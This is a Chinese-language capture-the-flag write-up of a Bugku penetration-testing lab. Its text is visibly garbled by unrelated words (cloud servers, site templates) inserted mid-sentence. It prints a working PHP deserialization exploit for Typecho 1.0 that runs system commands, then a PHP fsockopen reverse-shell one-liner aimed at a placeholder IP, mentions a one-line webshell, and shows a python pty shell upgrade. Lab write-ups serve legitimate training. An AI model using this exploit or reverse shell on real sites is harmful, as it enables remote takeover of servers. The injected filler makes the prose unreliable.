前言
我也没想到居然能有第二篇,记录经历可能是次坎我打靶太过于坎坷(其实就是菜 ,呜呜呜)
。打靶
言归正传
,记录经历bugku的次坎par模式,渗透测试2
,打靶共9个flag,记录经历打了三次,次坎历时三天,打靶全部拿下。记录经历整个打靶过程依旧十分坎坷,次坎在此,打靶分享出来笔者打靶的记录经历过程 ,建站模板并呈现自己的次坎思考,同时也希望能获得大佬的打靶指点。 过程

第一次打靶
0x01 flag1(Typecho反序列化)启动场景,给了一个ip:80
,老样子先上nmap扫一波

看来还是得从80端口开始 ,访问页面显示

哇 ,这么大个flag,这是怕我看不见么,结果访问并不是 ,年轻人不讲武德,来骗,香港云服务器来偷袭...呜呜呜

上dirsearch扫着
,咱先熟悉一下整个站点的功能,这个站点是属于博客类型的
,插件识别出来这是一个Typecho的cms,版本为1.0

网上搜搜看有没有历史漏洞

嘿!还真有,刚好符合要求

挺轻松,直接上poc,
复制< ?php
class Typecho_Feed{ const RSS2 = RSS 2.0; private $_type; private $_items; public function __construct(){ // __toString函数检查
$this->_type = self::RSS2; // 触发__get函数
$_item[author] = new Typecho_Request(); // 触发错误
$_item[category] = array(new Typecho_Request()); $this->_items[0] = $_item; }}class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ // 回调函数的参数,即想要执行的云计算命令
$this->_params[screenName] = "ls"; // 回调函数
$this->_filter[0] = "system"; }}$data = new Typecho_Feed();$poc = array( adapter => $data, prefix => "typecho_");// 序列化
$s = serialize($poc);// base64编码
echo base64_encode($s);?>1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40. 将poc运行后的结果
,利用hackbar进行post传参,看到当前目录下的所有文件

当前目录下没有flag ,去根目录下看看 ,直接cat /f*,拿到flag

0x02 flag2(数据库)上一个flag没有提示
,但按照打靶正常流程
,咱应该想办法getshell,尝试反弹一个shell回来。它本身是一个php站点,上面的poc中调用的又是高防服务器system函数 ,最先想到的payload就是
复制php -r $sock=fsockopen("xx.xx.xx.xx",1234);system("sh <&3 >&3 2>&3");1. 但是因为单双引号闭合的问题(有些函数里必需要有引号)
,放在poc里面感觉比较麻烦 ,想着写一个一句话木马进去
,但是蚁剑死活连不上 ,最后还是回到原来的想法,反弹shell。处心积虑地构造了我大半天
,终于构造完了
,免费模板最后长这样
,用变量隔开了很多参数,然后利用字符串拼接的方式将整个命令拼接完整就OK啦

(后面发现只要给双引号加个\转义一下就行了,一口老血吐了出来)

接收到shell后,看了一下当前目录并没有flag,先用python提升一下shell的交互性吧
复制python3 -c import pty; pty.spawn("/bin/bash")1. 
然后看了一下自己刚刚想写进去的那个一句话木马